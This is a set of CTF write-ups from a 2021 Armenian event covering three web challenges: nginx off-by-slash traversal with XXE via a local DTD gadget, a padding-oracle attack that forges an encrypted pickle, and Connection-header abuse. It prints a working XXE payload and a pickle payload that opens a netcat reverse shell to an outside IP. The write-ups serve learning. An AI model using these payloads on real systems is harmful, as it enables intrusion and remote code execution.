1CAT CTF Write-ups (Մաս #2) — — OrangeSite, BabyPython, web8001
Այս մասում կընթերցեք OrangeSite, BabyPython և web8001 խնդիրների լուծումները՝ գրված Krisp և LifeTrace թիմերի մասնակիցների կողմից։
OrangeSite
# Team name: Krisp
You can find the original writeup by davwwwx posted here — ->https://blog.xss.am/2021/11/cyhub-off-by-slash-xxe/
On November 27 Cyhub Armenia organized a very fun local CTF event — 1 CAT COMPANY CTF and Hayk Andriasyan created an XXE challenge for it.
As a task description, we get only the website location:
Visiting which we see nothing helpful, so we run our web fuzzer with a generic wordlist and get some interesting endpoints — /health
, a health service actuator endpoint, /test
some spring endpoint which throws java error containing script’s full path, /api
, which returns 403 forbidden response.
Combing what we got — task’s name clearly referring to Orange Tsai, NginX server, we can clearly understand we must have NginX off by slash directory traversal vulnerability, so we try traversing to /api
endpoint discovered before and succeed
Fuzzing for the obvious {path}
, we find /api/data
endpoint which expects XML body
So we try to exploit the XXE accessing external services via http/https and getting blocked by the parser, accessing external ftp server via file protocol and failing. But we see quickly the difference between existent and non existent file paths. When the server responds Your XML is valid
the file exists and /somepath (No such file or directory)
when it doesn’t.
Then we realize that the only way to exfiltrate the data is through exploiting xxe with local dtd files. After trying some known gadgets we fail, so we should find a gadget ourselves. To do so we run a FreeBSD VM, as we know Antranig Vartanian, who is hosting the challenges, is a huuge FreeBSD fan and contributor, installing most probable maven dependencies like spring boot
and jetty
. And to find local dtd files we run the dtd finder tool made by GoSecure in our home directory with the following command.
java -jar dtd-finder-1.1-all.jar /home/tmp-user/.m2/ > out
Which yields the following results:
/.m2/repository/org/eclipse/jetty/jetty-xml/9.4.31.v20200723/jetty-xml-9.4.31.v20200723.jar!/org/eclipse/jetty/xml/configure_9_0.dtd
/.m2/repository/org/eclipse/jetty/jetty-xml/9.4.31.v20200723/jetty-xml-9.4.31.v20200723.jar!/org/eclipse/jetty/xml/configure_7_6.dtd
/.m2/repository/org/eclipse/jetty/jetty-xml/9.4.31.v20200723/jetty-xml-9.4.31.v20200723.jar!/org/eclipse/jetty/xml/configure_9_3.dtd
/.m2/repository/org/eclipse/jetty/jetty-xml/9.4.31.v20200723/jetty-xml-9.4.31.v20200723.jar!/org/eclipse/jetty/xml/configure_6_0.dtd
To find which jetty version the server is using, we pull the repo, extract version tags, feed it to Burp’s Intruder and find that it is using 9.3.3.v20150827
We choose configure_6_0.dtd
file to create our gadget as we have a perfect candidate CONFIG
, which gets reflected few lines after.
To create the gadget we should escape CONFIG
reflection on line 41
<!ENTITY % CONFIG 'Set|Get|Put|Call|New|Ref|Array|Map|Property)*>
<!ENTITY % file SYSTEM "file:///usr/home/app/">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ELEMENT asd ('>
Sending the payload we get directory listing for the /usr/home/app/
folder
Finally, in .extraverysupErSEcr3Tfolder
folder, we find flag.txt
BabyPython
# Team name: Krisp
You can find the original writeup by davwwwx posted here — ->https://blog.xss.am/2021/11/cyhub-padding-oracle-pickle/
Contents
On the 1 CAT COMPANY CTF we didn’t manage to finalize our solution for the BabyPython challenge, created by Vahe Karapetyan, but one of our team members — Varik Matevosyan, solved it anyways after the time was up.
Below is his write-up, enjoy!
Analyzing the challenge
One of the most interesting and difficult challenges on the 1Cat CTF was the “Baby Python”. In the challenge description we find a URL and a python file to download:
endpoint: http://baby.2021.ctf.cyhub.am/
files: https://2021.ctf.cyhub.am/materials/securepickle.py
Let’s first check the website. When we open the page we can see that each time it is giving us a random string. e.g.
After taking a look at the provided source code we see this a crypto challenge:
import base64
import picklefrom Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytesclass AESCipher:
def __init__(self, key):
self.key = pad(key.encode('utf-8'), AES.block_size) def encrypt(self, data):
iv = get_random_bytes(AES.block_size)
self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
return base64.b64encode(iv + self.cipher.encrypt(pad(data, AES.block_size))) def decrypt(self, data):
raw = base64.b64decode(data)
self.cipher = AES.new(self.key, AES.MODE_CBC, raw[:AES.block_size])
return unpad(self.cipher.decrypt(raw[AES.block_size:]), AES.block_size)
class SecurePickle:
"""Baby Devloper wanted to secure the pickle. Since it's not secure. Absolutely. Let's Encrypt""" def __init__(self, key):
self.key = key
self.encryptor = AESCipher(key) def loads(self, pickled_string):
decrypted_string = self.encryptor.decrypt(pickled_string)
return pickle.loads(decrypted_string) def dumps(self, object_to_pickle):
encrypted_string = self.encryptor.encrypt(object_to_pickle)
return encrypted_string def dumps2(self, object_to_pickle):
pickled_string = pickle.dumps(object_to_pickle)
encrypted_string = self.encryptor.encrypt(pickled_string)
return encrypted_string
Python pickle
So the SecurePickle
class is for loading decrypted pickles and for dumping encrypted ones. As eval is evil so is the pickle. So if we will be able to pass our payload to pickle.loads
method it will execute our code. But we have 2 problems before moving forward:
- Where is the endpoint accepting user input and passing it into the
pickle.loads
sink? - And the second one is that the strings are encrypted with CBC encryption, so we need a key to construct our payload, or do we?
The first problem was solved pretty easily, we just ran a directory fuzzer, found /loads
endpoint, then ran param miner and found out that it accepts ?obj=
query parameter. Passing any encrypted string we got previously from the request to website root http://baby.2021.ctf.cyhub.am/
, the page responds with a plaintext string test!
.
http://baby.2021.ctf.cyhub.am/loads?obj=x+u/CzCbuoRHIkNhAuvVYcTZrfVsq1zgSKxYfguM8UYpgwVPQAOMxvBfgwkIh7vz
We can consider that this method decrypts the CBC message and passes it to pickle.loads
function, so this surely is the source.
Padding oracle attack
As the first problem is solved, let’s find out whether or not we can construct a payload that will be decrypted by the server. After some googling, we found out that CBC encryption is vulnerable to Padding oracle attacks if it is padded by a random IV, which is true in this case.
Here are some resources that helped us understand the attack:
- https://www.youtube.com/watch?v=aH4DENMN_O4
- https://www.youtube.com/watch?v=7XZdsR0jHjo
- https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/02-Testing_for_Padding_Oracle
TL;DR — an attacker can encrypt an arbitrary message without knowing the encryption key and that’s what we needed.
PadBuster
During further research, we also found a ready-to-go exploit by Aon’s Cyber Labs — PadBuster which is a Perl script that will automatically exploit the vulnerable server after passing some required arguments to it.
padBuster.pl <URL> EncryptedSample BlockSize(16) -error 'PKCS#7 padding is incorrect.' -encodedtext 'our payload with malicious code'
Exploit
To generate the proper payload we should dump a string with pickle and encode it with base64:
import pickle
import base64
import osclass Payload:
def __reduce__(self):
cmd = ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 54.212.140.241 4444 >/tmp/f')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(Payload())
print(base64.urlsafe_b64encode(pickled))
This will open a reverse shell to our remote server at 54.212.140.241
.
So the final arguments for the script will be:
perl padBuster.pl 'http://baby.2021.ctf.cyhub.am/loads?obj=X4Dpl9XXEOf5zaa3hyTFcfOkfxIFQ9BfgIwkuA3KNBu85ZOKRM1U4rIkEbxYL0qI' X4Dpl9XXEOf5zaa3hyTFcfOkfxIFQ9BfgIwkuA3KNBu85ZOKRM1U4rIkEbxYL0qI 16 -error "PKCS#7 padding is incorrect." -encodedtext 'gASVbAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFFybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyA1NC4yMTIuMTQwLjI0MSA0NDQ0ID4vdG1wL2aUhZRSlC4='
After running the script and waiting about 30–40 minutes we get our encrypted message:
Block 1 Results:
[+] New Cipher Text (HEX): ade7fd36447b7b059ad590bb4f94df60
[+] Intermediate Bytes (HEX): 2de3685a447b7b059ad590374ae4b013-------------------------------------------------------
** Finished ***[+] Encrypted value is: ref9NkR7ewWa1ZC7T5TfYOMRK%2Fvi1bbhFMwDF52RGJo4VO%2FGV8i6LzWQOb4Xt6RPCE5u6tK79BOyMuPZKNb7eZHoMW8PLbFKu9ffqe3UqBZ3Ku5sqqvKIi0hr0yuSzIRB79ewBeca95BfXrZBXDUa83MgM9NNqc80d2pKODxcjYAAAAAAAAAAAAAAAAAAAAA
-------------------------------------------------------
Now let’s set a Netcat listener at port 4444 nc -l 4444
and pass the payload to the server:
http://baby.2021.ctf.cyhub.am/loads?obj=ref9NkR7ewWa1ZC7T5TfYOMRK%2Fvi1bbhFMwDF52RGJo4VO%2FGV8i6LzWQOb4Xt6RPCE5u6tK79BOyMuPZKNb7eZHoMW8PLbFKu9ffqe3UqBZ3Ku5sqqvKIi0hr0yuSzIRB79ewBeca95BfXrZBXDUa83MgM9NNqc80d2pKODxcjYAAAAAAAAAAAAAAAAAAAAA
As soon as the page is opened we get our reverse shell and reading the environment variables, we find the long-awaited flag:
web8001
# Team name: LifeTrace
The “Connection” header field allows the sender to indicate desired control options for
the current connection.
As stated in HTTP Message Syntax RFC document, If a header field aside from
Connection is used to supply control information for or about the current connection, the sender must list the corresponding field-name within the Connection header field.
As we can see in response of the HTTP request (Img1), a strange header appears to be
listed there: “X-Annoying-Header: RemoveMePlease”. It definitely messes up with
Connection. So Just send a new request with “Connection: X-Annoying-Header” Header
And flag will pop up in response: